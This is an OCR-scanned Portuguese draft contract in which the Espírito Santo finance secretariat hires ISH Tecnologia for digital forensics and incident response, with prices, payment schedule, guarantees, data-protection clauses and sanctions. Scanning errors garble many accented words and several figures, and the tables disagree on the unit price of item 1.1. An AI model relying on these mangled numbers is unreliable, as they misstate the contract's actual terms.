GOVERNO DO ESTADO DO ESPIRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA

MINUTA DE TERMO DE CONTRATO

Contrato n? 2026.000024.22101.01
Processo n2 2026-XG88)
ID CidadES n¢

TERMO DE CONTRATO QUE ENTRE SI FAZEM O ESTADO
DO ESPIRITO SANTO, POR INTERMEDIO DA SECRETARIA
DE ESTADO DA FAZENDA E A EMPRESA ISH
TECNOLOGIA S/A PARA PRESTAGAO DE SERVICO DE
PERICIA DIGITAL E RESPOSTA A INCIDENTES (DIGITAL
FORENSICS AND INCIDENT RESPONSE) — DFIR.

O ESTADO DO ESPIRITO SANTO, por intermédio da SECRETARIA DE ESTADO DA FAZENDA -
SEFAZ, doravante denominada CONTRATANTE, 6rgdo da Administracdao Direta do Poder
Executivo, inscrita no CNPJ/MF sob o n? 27.080.571/0001-30, com sede na Avenida Jodo Batista
Parra, n? 600, Enseada do Sua, Vitdria/ES, representada legalmente pelo seu Subsecretario de
Estado para Assuntos Administrativos, Sr. ALEX FAVALESSA DOS SANTOS, nomeado pelo Decreto
N2 1101-S, de 07 de junho de 2024, publicada no DIO/ES de 10 de junho de 2024, delegacdo de
competéncia conferida pela Portaria n2 55-R, de 18 de julho de 2023, publicada no DIO/ES em 19
de julho de 2023, portador da Matricula Funcional n? 3692710, e a Empresa ISH TECNOLOGIA
S/A, doravante denominada CONTRATADA, com sede na Rua Judith Maria Tovar Varejdo, n? 355,
Salas 202 e 203, Enseada do Su3, Vitdria/ES, inscrita no CNPJ sob o n2 01.707.536/0001-04, neste
ato representado por VITOR TEIXEIRA COSTA, Diretor Comercial, conforme atos constitutivos da
empresa e procuracao apresentada nos autos, ajustam o presente CONTRATO de prestacdo de
servicos de pericia digital e resposta a incidentes (digital forensics and incident response) — DFIR,
nos termos da Lei Federal n? 14.133/2021 e Decreto Estadual n? 5.545-R/2023, de acordo com
os termos do processo acima mencionado, parte integrante deste instrumento independente de
transcricdo, juntamente com a Proposta apresentada pela CONTRATADA, ficando, porém,
ressalvadas como ndo transcritas as condicGes nela estipuladas que contrariem as disposicées
deste CONTRATO, que se regerd pelas Clausulas Seguintes.

2026-3QQK74 - E-DOCS - DOCUMENTO ORIGINAL  10/04/2026 19:44 PAGINA 1/61

1- CLAUSULA PRIMEIRA: DO OBJETO

1.1- O objeto do presente instrumento é a contratacdo de PERICIA DIGITAL E RESPOSTA A
INCIDENTES (DIGITAL FORENSICS AND INCIDENT RESPONSE) — DFIR, nas condicOes estabelecidas
no Termo de Referéncia, conforme quadro abaixo:
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1 Solucdo XDR + ITDR B emseenn eeennes
1.1 Licenciamento Solugdo XDR + ITDR 1400 EndPoints 461,628 R$ 646.279,82
12 Ativacdo da Solucdo XDR + ITDR 1 Servigo 40.831,76 | R$ 40.831,76
1.3 Operagédo da Solugdo XDR + ITDR 6 Més 16.085,35 | R$ 96.512,10

2 Solucgdo de Microsegmentacao P meeeenn eeenann
21 Licenciamento Solugdo de Microsegmentagéo 1400 EndPoints 617,87 R$ 865.018,00
2.2 Ativagdo da Solugdo de Microsegmentagdo 1 Servigo 40.752,50 | R$ 40.752,50
2.3 Operagdo da Solugdo de Microsegmentacgdo 6 Més 6.963,56 R$ 41.781,36

3 Solucdo de DRPS ammnenan —eeeenen P
31 Licenciamento Solugdo de DRPS 6 Licenca 20.480,46 R$ 122.882,76
3.2 Ativagdo da Solugdo de DRPS 1 Servigo 224425 R$ 2.244 25

4 Operacédo F5 eeeeee e B
41 Assessment da Solugao F5 Servigo 6124764 | RS 61.24764
42 Operagéo da Operacdo F5 6 Més 23.800,92 R$ 142.805,52
5 Servigcos de MDR 6 Més 124.313,42 | R$ 745.880,52
Valor total R$ 2.806.236,23

1.2 - Integram este Contrato, como partes indissociaveis e independentemente de transcricao,
0s seguintes anexos:
(a)

O Termo de Referéncia;

A Proposta Comercial da Contratada.

2- CLAUSULA SEGUNDA: DO PREGCO
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2.1- O valor total da contratacdo é de RS 2.806.236,23, e serd realizado conforme quadro
abaixo:
Més 4
Licenciamanto Ativagio Servigos Servigos Sarvigos Servigos Servigos Servigos
1.1 B46.279,82 — — — — — — —
1.2 — 40,831,768 - J— J— J— J— J—
1.3 E— — 16.08535 | 1608535 | 1608535 [ 1608535 | 1608535 | 16.085,35
2.1 BE5.018,00 — — J— JE— J— J— J—
2.2 e 40.752,50 semaens e senmans e e e
2.3 e — 6.063,56 6.963,56 £.963,56 6.063 56 6.0B356 | 6.06358
3.1 122 882,76 s R, J— J— — J— J—
3.2 — 2.044 75 — — — — p— —
4.1 — §1.247 64 — J— J— J— J— J—
4.2 e s 2ap0002 | 2ascose | 2amoose | 2asooge | zasoosz | 2amoose
5 e e 12431342 | 12431342 | 12431342 | 12431342 | 124.31342 | 12431342
TOTAL 1.634.180,58 ; ;::':17:’:: 171.183,25 171.163,25 | 171.163,25 | 171.163,25 | 171.163,25 | 171.163,25

2.2 -

No valor indicado no item 2.1, acima, estdo incluidas todas as despesas ordindrias diretas

e indiretas decorrentes da execucdo do objeto, inclusive tributos (impostos etc.), encargos
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sociais, trabalhistas, previdencidrios, fiscais e comerciais incidentes, taxa de administracao, frete,
seguro e outros necessarios ao cumprimento integral do objeto da contratacao.

2.3- O valor acima é meramente estimativo, de forma que os pagamentos devidos ao
contratado dependerdo dos quantitativos efetivamente fornecidos.

2.4 - Os pregos inicialmente contratados sao fixos e irreajustaveis.

2.5- Apesar da impossibilidade de reajuste citada no item 2.4, acima, as partes poderdo
solicitar, a qualquer momento, a manutengao do equilibrio econ6mico dos contratos com base
no disposto no art. 124, inciso Il, alinea “d”, da Lei 14.133/2021.

2.6- No caso de reequilibrio econ6mico, o contratado devera complementar a garantia
contratual anteriormente prestada, de modo que se mantenha a proporcao inicial em relacdo ao
valor contratado.

2.7- O reequilibrio econdbmico e financeiro, em qualquer de suas espécies, observarg,
conforme a natureza do objeto contratual, as regras previstas nos arts. 45 a 53 do Decreto
Estadual n2 5545-R/2023 e na Lei n? 14.133/2021, inclusive quanto a renuncia irretratavel por
auséncia de requerimento formal durante a vigéncia do contrato e antes de eventual
prorrogacao (art. 46 do Decreto).

3- CLAUSULA TERCEIRA: DAS CONDIGCOES DE PAGAMENTO
3.1- O prazo para pagamento ao contratado e demais condicdes a ele referentes encontram-
se definidos no Termo de Referéncia, anexo a este Contrato.

4- CLAUSULA QUARTA: DO PRAZO DE VIGENCIA CONTRATUAL

4.1- O prazo de vigéncia da contratacdo é de 06 (seis) meses e terd inicio a partir da assinatura
do contrato ou da publicacdo do respectivo instrumento no Portal Nacional de Contratagdes
Publicas - PCNP, sendo finalizado com a entrega, recebimento e pagamento, na forma do art. 105
da Lei 14.133/2021.
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4.2 - O prazo de vigéncia sera automaticamente prorrogado, independentemente de termo
aditivo, quando o objeto nao for concluido no periodo firmado acima, ressalvadas as providéncias
cabiveis no caso de culpa do contratado.

4.2.1 - A prorrogacdo automatica deve ser registrada por apostilamento e instruida com a
exposicdo das justificativas e o novo cronograma de execucao e desembolso.

4.2.2 - A prorrogacdo automatica ndo podera exceder o prazo de 01 (um) ano, conforme art. 75,
VIIl da Lei 14.133/21.
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5-  CLAUSULA QUINTA: DA DOTACAO ORCAMENTARIA

5.1- As despesas decorrentes da presente contratacdo correrdo a conta de recursos
especificos consignados no Orgamento.

5.2- A contratacdo serd atendida pela seguinte dotacao:

PROGRAMA DE TRABALHD: 10.22.901.04.123. 0050. 2151 - GESTAD FISCAL, CONTABIL E FINANCEIRA DO ESTADD
ACAD ORCAMENTARIA 2151
FOMTE 759 - Recursos vinculados a fundos

000107 - RECURSOS VINCULADOS AD FUNSEFAZ - MULTAS E JURDS DE MORA POR
DETALHAMENTO DA FONTE |NFRJ'|¢I~|U A LEGISL.I'I.'I;.i'I.IZ:I DE RECEITAS NAD-TRIBUTARIAS [IMCISO V1 DO ART. 22 D LEI

ESTADUAL N2 8360/ 2006)

GRUPD DE NATUREZA DE DESPESA

339040 - SERVICOS DE TECMOLOGIA DA INFORMACAD E COMUMICACAD - PESSDA
JURIDICA
PLAND ORCAMENTARIO 002248

MNATUREZA DE DESPESA

5.3- Adotacdo relativa aos exercicios financeiros subsequentes sera indicada apds aprovacao
da Lei Orcamentdria respectiva e liberacdo dos créditos correspondentes, mediante
apostilamento.

6- CLAUSULA SEXTA: DA GARANTIA DE EXECUGAO

6.1- A CONTRATADA prestara garantia de execuc¢do contratual no valor de RS 140.311,81, na
modalidade de seguro garantia, correspondente a 5% (cinco por cento) do valor do contrato.

6.2- O prazo de garantia de execucdo contratual e demais condicbes a ele referentes
encontram-se definidos no Termo de Referéncia, anexo a este Contrato.

6.3- Ocorrendo prorrogacdo de prazo ou aumento no valor contratual decorrente de
acréscimos ou do reequilibrio econémico-financeiro, por ocasido da assinatura do Termo Aditivo,
deverda a CONTRATADA proceder a renovacdo e/ou ao reforco da garantia inicial,
proporcionalmente ao aumento de valor.
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6.4 - A garantia deverd ser apresentada no prazo maximo de 10 (dez) dias, inclusive nos casos
de Termo Aditivo.

6.4.1 - A inobservancia do prazo fixado para apresentacdo ou renovacao da garantia acarretard
a aplicagdo de multa de 0,2% (dois décimos por cento) do valor do contrato por dia de atraso,
até o maximo de 5% (cinco por cento), o qual podera ser glosado de pagamentos devidos.

6.4.2 - O atraso superior a 25 (vinte e cinco) dias autoriza a Administracdo a promover o bloqueio
dos pagamentos devidos a CONTRATADA, até o limite de 5% (cinco por cento) do valor anual do
contrato, a titulo de garantia.



GOVERNO DO ESTADO DO ESPIRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA

6.4.3 - A CONTRATADA, a qualquer tempo, podera substituir o bloqueio efetuado com base
nesta cldusula por quaisquer das modalidades de garantia previstas em lei, sem prejuizo da
manuteng¢ao da multa aplicada.

6.5- Quando se tratar de consércio, sera permitido que seja apresentada a garantia
integralmente pela empresa lider ou por qualquer das empresas consorciadas, ou, ainda, por
cada uma das empresas consorciadas com os valores proporcionais a sua participacdo no
consarcio.

7 - CLAUSULA SETIMA: DA ENTREGA E RECEBIMENTO

7.1- O regime de execugdo contratual, os modelos de gestdo e de execucdo, assim como os
prazos e condicdes de conclusdo, entrega, observacdo e recebimento do objeto constam no
Termo de Referéncia, anexo a este Contrato.

8- CLAUSULA OITAVA: DAS RESPONSABILIDADES DAS PARTES

8.1- Compete a Contratada:

8.1.1 - Cumprir todas as obrigacdes, as condi¢des e os prazos relativos a entrega do(s) produto(s)
adquirido(s) e/ou da execugdo do(s) servico(s) contratado(s), conforme definido no Termo de
Referéncia;

8.1.2 - providenciar a imediata correcao das deficiéncias apontadas pelo setor competente do
Contratante;

8.1.3 - manter, durante toda a execu¢dao do Contrato, em compatibilidade com as obrigacdes
assumidas, todas as condi¢des de habilitacdo e qualificagdo exigidas na licitagdo, conforme
dispde o inciso XVI do art. 92 da Lei Federal 14.133/2021;
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8.1.4 - garantir a execucgdo qualificada do contrato durante o periodo de garantia e/ou vigéncia,
conforme definido no Termo de Referéncia.

8.2- Compete a Contratante:
8.2.1 - efetuar o pagamento do prego previsto nos termos deste contrato;

8.2.2 - definir o local para entrega dos produtos adquiridos e/ou da execug¢do dos servicos
contratados, conforme definido no Termo de Referéncia;

8.2.3 - designar servidor(es) responsavel(eis) pelo acompanhamento e fiscalizacdo da entrega
dos produtos adquiridos e/ou da execugdo do(s) servico(s) contratado(s), conforme definido no
Termo de Referéncia;
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8.2.4 - Emitir decisdo sobre eventuais solicitacdes ou reclamacdes relacionadas a execu¢ao dos
contratos no prazo maximo de 1 (um) més, a contar da data do protocolo do requerimento,
admitida a prorrogacdo motivada, por igual periodo.

8.2.5 - Responder eventuais pedidos de reestabelecimento do equilibrio econémico-financeiro
feitos pelo contratado no prazo maximo de 1 (um) més, admitida a prorrogacdo motivada, por
igual periodo.

8.2.6 - Notificar os emitentes das garantias quanto ao inicio de processo administrativo para
apuracdo de descumprimento de cldusulas contratuais.

8.3- Da Protec¢ao de Dados Pessoais.

8.3.1 - Protecdo de dados, coleta e tratamento. Sempre que tiverem acesso ou realizarem
qualquer tipo de tratamento de dados pessoais, as partes comprometem-se a envidar todos os
esforcos para resguardar e proteger a intimidade, vida privada, honra e imagem dos respectivos
titulares, observando as normas e politicas internas relacionadas a coleta, guarda, tratamento,
transmissao e eliminacdo de dados pessoais, especialmente as previstas na Lei Federal n2
13.709/2018 (“Lei Geral de Protecdo de Dados Pessoais”), no Decreto Estadual n2 4922-R, de 09
de julho de 2021, e demais normas legais e regulamentares aplicaveis.

8.3.2- Caso o objeto envolva o tratamento de dados pessoais com fundamento no
consentimento do titular, a CONTRATADA devera observar , ao longo de toda a vigéncia do
Contrato, todas as obriga¢Oes legais e regulamentares especificas vinculadas a essa hipotese
legal de tratamento.

8.3.3 - Ao receber o requerimento de um titular de dados, na forma prevista nos artigos 16 e 18
da Lei Federal n® 13.709/2018, a CONTRATADA devera:
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8.3.3.1- Notificar imediatamente a CONTRATANTE;
8.33.2- Auxilid-la, quando for o caso, na elaboragdo da resposta ao requerimento; e
8.333- Eliminar todos os dados pessoais tratados com base no consentimento em até 30

(trinta) dias corridos, contados a partir do requerimento do titular.

8.3.4 - As partes armazenardo dados pessoais apenas pelo periodo necessario ao cumprimento
da finalidade para a qual foram originalmente coletados e em conformidade com as hipoteses
legais que autorizam o tratamento.

8.3.5 - As partes devem assegurar que o acesso a dados pessoais seja limitado aos empregados,
prepostos ou colaboradores e eventuais subcontratados que necessitem acessar os dados
pertinentes, na medida em que sejam estritamente necessarios para o cumprimento deste
Contrato e da legislacdo aplicadvel, assegurando que todos esses individuos estejam sujeitos a
obrigacOes de sigilo e confidencialidade.
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8.3.6 - A CONTRATADA deve, enquanto operadora de dados pessoais, implementar medidas
técnicas e organizacionais apropriadas para o cumprimento das obrigacdes da CONTRATANTE
previstas na Lei Federal n2 13.709/2018.

8.3.7 - Protecdo de dados e incidentes de seguranca. Considerando as caracteristicas especificas
do tratamento de dados pessoais e o estado atual da tecnologia, a CONTRATADA deverd adotar
medidas de seguranca, técnicas e administrativas aptas a proteger os dados e informacdes de
acessos ndo autorizados e de situagdes acidentais ou ilicitas de destruicao, perda, alteracao,
comunicacao ou qualquer forma de tratamento inadequado ou ilicito.

8.3.8 - A CONTRATADA deverd notificar a CONTRATANTE imediatamente sobre a ocorréncia de
incidentes de seguranca relacionados a dados pessoais, fornecendo informacdes suficientes para
gue a CONTRATANTE cumpra quaisquer deveres de comunicacdo, dirigidos a Autoridade
Nacional de Protecdo de Dados e/ou aos titulares dos dados, acerca do incidente de seguranca.

8.3.9 - As partes deverdo adotar as medidas cabiveis para auxiliar na investiga¢do e na mitigacao
das consequéncias de cada incidente de seguranca.

8.3.10 - Transferéncia internacional. E vedada a transferéncia de dados pessoais pela
CONTRATADA para fora do territério do Brasil sem o prévio consentimento, por escrito, da
CONTRATANTE, e demonstrac¢do da observancia da adequada protec¢ao desses dados, cabendo a
CONTRATADA a responsabilidade pelo cumprimento da legislacdao de prote¢dao de dados ou de
privacidade de outro(s) pais(es) que for aplicavel.

8.3.11- Responsabilidade. A CONTRATADA respondera por quaisquer danos, perdas ou
prejuizos causados a CONTRATANTE ou a terceiros decorrentes do descumprimento da Lei
Federal n? 13.709/2018, no Decreto Estadual n2 4922-R, de 09 de julho de 2021 e outras normas
legais ou regulamentares relacionadas a este Contrato, ndo excluindo ou reduzindo essa
responsabilidade a fiscalizacdo da CONTRATANTE em seu acompanhamento.

8.3.12 - Eventual subcontratacdao, mesmo quando autorizada pela CONTRATANTE, ndo
exime a CONTRATADA das obrigacdes decorrentes deste Contrato, permanecendo integralmente
responsavel perante a CONTRATANTE mesmo na hipdtese de descumprimento dessas
obrigacdes por subcontratada.
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8.3.13 - A CONTRATADA deve colocar a disposicdo da CONTRATANTE, quando solicitado,
toda informacdo necessdria para demonstrar o cumprimento do disposto nestas cldusulas,
permitindo a realizacdo de auditorias e inspecoes, diretamente pela CONTRATANTE ou por
terceiros por ela indicados, com relacdo ao tratamento de dados pessoais.

8.3.14 - A CONTRATADA deve auxiliar a CONTRATANTE na elaboracdo de relatérios de
impacto a protecdo de dados pessoais, observado o disposto no artigo 38 da Lei Federal n2
13.709/2018, relativo ao objeto deste Contrato.

8.3.15- Se a CONTRATANTE constatar que dados pessoais foram utilizados pela
CONTRATADA para fins ilegais, ilicitos, contrarios a moralidade ou mesmo para fins diversos
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daqueles necessarios ao cumprimento deste Contrato, a CONTRATADA serd notificada para
promover a cessacao imediata desse uso, sem prejuizo da rescisdo do Contrato e de sua
responsabilizacdo pela integralidade dos danos causados.

8.3.16 - Eliminagdo. Extinto o Contrato, independentemente do motivo, a CONTRATADA
devera em, até 10 (dez) dias Uteis, contados da data de seu encerramento, devolver todos os
dados pessoais a CONTRATANTE ou elimina-los, inclusive eventuais cépias, certificando a
CONTRATANTE, por escrito, do cumprimento desta obrigacao.

9- CLAUSULA NONA: DOS ADITAMENTOS

9.1- O presente contrato poderd ser aditado, estritamente, nos termos previstos na Lei
14.133/2021, mediante manifestacdo formal da Procuradoria-Geral do Estado ou em
conformidade com norma editada pela Procuradoria que dispense a andlise juridica.

10- CLAUSULA DECIMA: DAS SANCOES ADMINISTRATIVAS

10.1 - Comete infragdo administrativa, nos termos da Lei 14.133/2021, o contratado que:

(@) der causa a inexecugao parcial do contrato;

(b) der causa a inexecucdo parcial do contrato que cause grave dano a Administra¢do ou ao
funcionamento dos servicos publicos ou ao interesse coletivo;

(c) der causa a inexecugdo total do contrato;

(d) ensejar o retardamento da execuc¢ao ou da entrega do objeto da contratacao sem motivo
justificado;

(e) apresentar documentacdo falsa ou prestar declaracdo falsa durante a execuc¢do do
contrato;
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() praticar ato fraudulento na execugdo do contrato;
(9) comportar-se de modo inidéneo ou cometer fraude de qualquer natureza;
(h)  praticar ato lesivo previsto no art. 52 da Lei 12.846/2013.

10.2 - Serdo aplicadas ao contratado que incorrer nas infracdes acima descritas as seguintes
sangoes:

10.2.1 - Adverténcia, quando o contratado der causa a inexecucdo parcial do contrato,
sempre gue ndo se justificar a imposicdo de penalidade mais grave (art. 156, § 29, da Lei
14.133/2021);



GOVERNO DO ESTADO DO ESPIRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA

10.2.2 - Impedimento de licitar e contratar, quando praticadas as condutas descritas nas
alineas “b”, “c” e “d” do subitem acima, sempre que nao se justificar a imposicdo de penalidade
mais grave (art. 156, § 49, da Lei 14.133/2021);

10.2.3 - Declaracdo de inidoneidade para licitar e contratar, quando praticadas as

n u

condutas descritas nas alineas “e”, “f”, “g” e “h” do subitem acima, bem como nas alineas “b”,

oa_n

¢’ e “d”, que justifiquem a imposicdo de penalidade mais grave (art. 156, § 52, da Lei
14.133/2021);

10.2.4 - Multas (art. 156, Il, e § 39, da Lei 14.133/2021), observados os seguintes
parametros:
10.2.4.1 - Multa moratéria de 0,5% (cinco décimos por cento) por dia util de atraso

injustificado sobre o valor da parcela inadimplida, até o limite de 30 (trinta) dias;

10.2.4.2 - Multa compensatodria de 0,5% (cinco décimos por cento) a 2% (dois por cento)
incidente sobre o valor do contrato, para a infracdo descrita na alinea “a” do subitem 10.1;

10.2.4.3 - Multa compensatéria de 0,5% (cinco décimos por cento) a 20% (vinte por cento)
incidente sobre o valor do contrato, para as infragcdes descritas nas alineas “b” a “h” do subitem
10.1.

10.3 - O atraso superior a 30 (trinta) dias autoriza a Administracdo a promover a extin¢cdo
unilateral do contrato por descumprimento ou cumprimento irregular, convertendo a multa
moratdria em multa compensatodria (art. 162, paragrafo Unico, da Lei 14.133/2021).

10.4 - Em caso de reincidéncia, o valor total das multas aplicadas ndo podera exceder o limite
de 30% (trinta por cento) sobre o valor total do Contrato.

10.5- A aplicacdo das sanc¢Oes previstas neste Contrato nao exclui, em hipdtese alguma, a
obrigacdo de reparacdo integral do dano causado ao Contratante (art. 156, § 99, da Lei
14.133/2021).

10.6 - A penalidade de multa pode ser aplicada cumulativamente com as demais sangdes, na
forma do art. 156, § 72, da Lei n2 14.133/2021.

10.7 - Na aplicacdo das sancdes serdo considerados (art. 156, § 12, da Lei 14.133/2021):
(@) a natureza e a gravidade da infragdo cometida;

(b)  as peculiaridades do caso concreto;

(c) as circunstancias agravantes ou atenuantes;

(d) os danos que dela provierem para o Contratante;
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(e) a implantacdo ou o aperfeicoamento de programa de integridade, conforme normas e
orientacdes dos 6rgaos de controle.

10.8 - Antes da aplicacdo da multa serd facultada a defesa do interessado no prazo de 15
(quinze) dias uteis, contado da data de sua intimacdo (art. 157 da Lei 14.133/2021).

10.9- A aplicacdo das sancOes realizar-se-d4 em processo administrativo que assegure o
contraditdrio e a ampla defesa ao Contratado, observando-se o procedimento previsto no caput
e paragrafos do art. 158 da Lei 14.133/2021 para as penalidades de impedimento de licitar e
contratar e de declaracdo de inidoneidade para licitar ou contratar, assim como as seguintes
regras:

10.9.1 - Antes da aplicacdo de qualquer san¢do administrativa, a Administracdao deverd
notificar o contratado, facultando-lhe a apresentacao de defesa prévia;

10.9.2 - A notificacdo deverd ocorrer pessoalmente, eletronicamente, com confirmacao
de recebimento, ou por correspondéncia com aviso de recebimento, indicando, no minimo: a
conduta reputada como infratora, a motiva¢do para aplicacdo da penalidade, a sangao que se
pretende aplicar, o prazo e o local de entrega das razdes de defesa;

10.9.3 - O prazo para apresentacdo de defesa prévia para a penalidade de adverténcia sera
de 05 (cinco) dias uteis e de 15 (quinze) dias Uteis para as demais penalidades, e serdo contados
na forma do art. 183 da Lei 14.133/2021;

10.9.4 - O contratado comunicard ao érgao promotor do certame as mudangas de
endereco ocorridas no curso do processo licitatério e da vigéncia do contrato, considerando-se
eficazes as notificacdes enviadas ao local anteriormente indicado, na auséncia da comunicagao;

10.9.5 - Ofertada a defesa prévia ou expirado o prazo sem que ocorra a sua apresentacao,
a Administracdo proferira decisao fundamentada e adotara as medidas legais cabiveis,
resguardado o direito de recurso, que devera ser exercido nos termos da Lei 14.133/2021;
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10.10 - Os atos previstos como infragcGes administrativas na Lei 14.133/2021, ou em outras leis
de licitagdes e contratos da Administragao Publica que também sejam tipificados como atos
lesivos na Lei 12.846/2013, serdo apurados e julgados conjuntamente, nos mesmos autos,
observados o rito procedimental e autoridade competente definidos na referida Lei (art. 159 da
Lei 14.133/2021).

10.11 - A personalidade juridica do Contratado podera ser desconsiderada sempre que utilizada
com abuso do direito para facilitar, encobrir ou dissimular a pratica dos atos ilicitos previstos
neste Contrato ou para provocar confusdo patrimonial, e, nesse caso, todos os efeitos das
sancOes aplicadas a pessoa juridica serdo estendidos aos seus administradores e sdcios com
poderes de administracdo, a pessoa juridica sucessora ou a empresa do mesmo ramo com
relacdo de coligacdo ou controle, de fato ou de direito, com o Contratado, observados, em todos
os casos, o contraditério, a ampla defesa e a obrigatoriedade de andlise juridica prévia (art. 160
da Lei 14.133/2021).
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10.12 - O Contratante devera, no prazo maximo de 15 (quinze) dias Uteis, contado da data de
aplicacdo da sancdo, informar e manter atualizados os dados relativos as sancdes por ela
aplicadas, para fins de publicidade no Cadastro Nacional de Empresas Inidoneas e Suspensas
(Ceis) e no Cadastro Nacional de Empresas Punidas (Cnep), instituidos no ambito do Poder
Executivo Federal (art. 161 da Lei 14.133/2021).

10.13 - As sancdes de impedimento de licitar e contratar e declaracdo de inidoneidade para licitar
ou contratar sdo passiveis de reabilitacdo, na forma do art. 163 da Lei 14.133/2021.

10.14 - Os débitos relativos a multas moratéria e compensatéria e as indenizacGes cabiveis
poderdo ser descontados dos valores devidos pela Administracdo ao contratado e, se
insuficientes, a diferenca podera ser descontada da garantia prestada ou ser objeto de cobranca
judicial (art. 156, § 82, da Lei 14.133/2021).

10.14.1 - Os débitos do contratado para com a Administracdo contratante poderdo ser
compensados, total ou parcialmente, com os créditos decorrentes de outros contratos
administrativos que o contratado possua com o Estado do Espirito Santo.

10.15 - Sem prejuizo da aplicacdo das san¢bes acima descritas, a prdtica de quaisquer atos lesivos
a administracdo publica na licitagdo ou na execuc¢do do contrato, nos termos da Lei 12.846/2013,
serd objeto de imediata apuracao observando-se o devido processo legal estabelecido no marco
regulatdrio estadual anticorrupcao.

11- CLAUSULA DECIMA PRIMEIRA: DA SUPERVENIENTE IRREGULARIDADE FISCAL, SOCIAL
OU TRABALHISTA

11.1 - Constatado que o Contratado nao se encontra em situagao de regularidade fiscal, social
ou trabalhista, o mesmo sera notificado para no prazo de 10 (dez) dias uteis regularizar tal
situacdo ou, no mesmo prazo, apresentar defesa, observando-se o procedimento de aplicagao
de sancoes.
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11.2 - Transcorrido esse prazo, ainda que ndao comprovada a regularidade e que ndo seja aceita
a defesa apresentada, o pagamento sera efetuado, sem prejuizo da tramitagao do procedimento
de aplicacdo de san¢des.

11.3 - Em ndo sendo aceitas as justificativas apresentadas pelo Contratado, serd imposta multa
de 2% (dois por cento) sobre o saldo contratual ndo executado.

11.4 - Depois de transcorridos 30 (trinta) dias Uteis da notificacdo da multa, se a empresa ndo
regularizar a pendéncia fiscal ou trabalhista, devera a Administracdo decidir sobre iniciar ou ndo
procedimento de rescisdo do contrato, podendo deixar de fazé-lo se reputar que a extincdo
antecipada do contrato ocasionara expressivos prejuizos ao interesse publico.
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11.5- Em se tratando de irregularidade fiscal decorrente de crédito estadual, o Contratante
informara a Procuradoria Fiscal da Procuradoria Geral do Estado sobre os créditos em favor da
empresa, antes mesmo da notificacdo a empresa.

12- CLAUSULA DECIMA SEGUNDA: DA RESCISAO

12.1 - Arescisdo do Contrato poderd ocorrer nas hipdteses e condi¢des previstas nos arts. 137
a 139 da Lei 14.133/2021.

13- CLAUSULA DECIMA TERCEIRA: DOS RECURSOS

13.1- Os recursos, representacdo e pedido de reconsideracdo, somente serdo acolhidos nos
termos do arts. 165 a 168 da Lei 14.133/2021.

14- CLAUSULA DECIMA QUARTA: DO ACOMPANHAMENTO E FISCALIZAGAO

14.1 - A execucdo do contrato serd acompanhada pelo gestor e pelo fiscal designados pela
autoridade competente do drgdo ou entidade, os quais representardo a Administracdo e
confirmardo o recebimento do objeto contratado, observadas as disposi¢cdes deste contrato. Sem
esse recebimento, ndo sera permitido qualquer pagamento.

15- CLAUSULA DECIMA QUINTA: DO REPRESENTANTE DA CONTRATADA

15.1 - Representard a Contratada na execu¢do do ajuste, como preposto, (preencher no
momento de assinatura do contrato, com nome completo, nacionalidade, profissao e estado civil
do representante da empresa).

15.2 - O representante da CONTRATADA devera realizar o cadastro no Sistema Corporativo de
Gestdo de Documentos Arquivisticos Digitais - EDOCS do Governo do Estado do Espirito Santo
para envio e recebimento de documentos oficiais.

2026-3QQK74 - E-DOCS - DOCUMENTO ORIGINAL  10/04/2026 19:44 PAGINA 12 /61

16 - CLAUSULA DECIMA SEXTA: DOS CASOS OMISSOS

16.1 - Os casos omissos serdo decididos pelo contratante, segundo as disposi¢cdes contidas na
Lei 14.133/2021, e demais normas federais apliciveis e, subsidiariamente, segundo as
disposi¢cdes contidas na Lei n? 8.078/1990 — Cddigo de Defesa do Consumidor — e normas e
principios gerais dos contratos.

16.2 - Na auséncia de prazo previamente estabelecido para o cumprimento de determinacdes
emitidas pelo Contratante, serd aplicado o prazo de 5 (cinco) dias Uteis, contados a partir da data
de ciéncia formal da determinacdo pela Contratada. Esse prazo podera ser prorrogado, a critério
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exclusivo do Contratante, mediante solicitacdo formal e devidamente justificada pela
Contratada.
17- CLAUSULA DECIMA SETIMA: DO FORO

17.1 - Fica eleito o foro de Vitdria, Comarca da Capital do Estado do Espirito Santo, para dirimir
qualquer duvida ou contestacdo oriunda direta ou indiretamente deste instrumento,
renunciando-se expressamente a qualquer outro, por mais privilegiado que seja.

17.2 - Antes de qualquer providéncia jurisdicional visando solucionar duvida quanto a
interpretacdo do presente instrumento, as partes deverao buscar solucdo administrativa, com a
participacdo da Procuradoria Geral do Estado, por intermédio de um ou mais meios de solucdo
consensual de conflitos previstos na Lei Complementar Estadual n® 1.011/2022.

E, por estarem justos e contratados, assinam o presente em trés vias de igual teor e forma, para
igual distribuicdo, para que produza seus efeitos legais.

ALEX FAVALESSA DOS SANTOS
SECRETARIA DE ESTADO DA FAZENDA

CONTRATANTE

VITOR TEIXEIRA COSTA
ISH TECNOLOGIA S/A

CONTRATADA
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E RESPOSTA A INCIDENTES - DFIR
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TERMO DE REFERENCIA

OBJETO: Contratagao de Pericia Digital e Resposta a Incidentes (Digital Forensics And
Incident Response) - DFIR

IDENTIFICACAO

IDENTIFICAGAO
Un. Gestora: Secretaria de Estado da Fazenda
Area Requisitante: Geréncia de Tecnologia — GETEC

Responsaveis: Fabio Feltmann Sampaio, Luiz Carlos Lessa, Gustavo Braga
Schwambach

Data de Elaboragao 10/04/2026 @ 3.0

HISTORICO DE VERSOES

VERSAO DESCRICAO
27/03/2026 10 Versao Preliminar do Equipe de Planeja~mento de
TR Contratagao
06/04/2026 20 Ajustes de escoE)o e Equipe de Planeja\—mento de
Fundamentacao Contratagao
10/04/2026 3.0 Ajustes apos a Equipe de Planejamento de
pesquisa de prego Contratagao
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1. DO OBJETO

1.1.Contratagdo de Pericia Digital e Resposta a Incidentes - DFIR contemplando a
deteccgao da vulnerabilidade explorada, o restabelecimento do ambiente e a analise
forense do incidente registrado para apresentagao aos érgaos de controle externo,
e monitoramento continuo de persisténcia dos incidentes pelo periodo de 6 meses.

1.2.A contratagao foi dimensionada de forma a contemplar exclusivamente os servigos
indispensaveis para o enfrentamento da situagdo emergencial, incluindo:

1.2.1. Resposta a incidentes;
1.2.2. Analise forense digital;

1.2.3. Apoio a recuperagao do ambiente.

—

©

Descrigdo Qtd Un. Medida Pl Valor total =

s £ unitario <

1 Solucédo XDR + ITDR e S = S %
1 Licenciamento Solugdo XDR + ITDR 1400 EndPoints 795,40 R$ 646.279,82 E
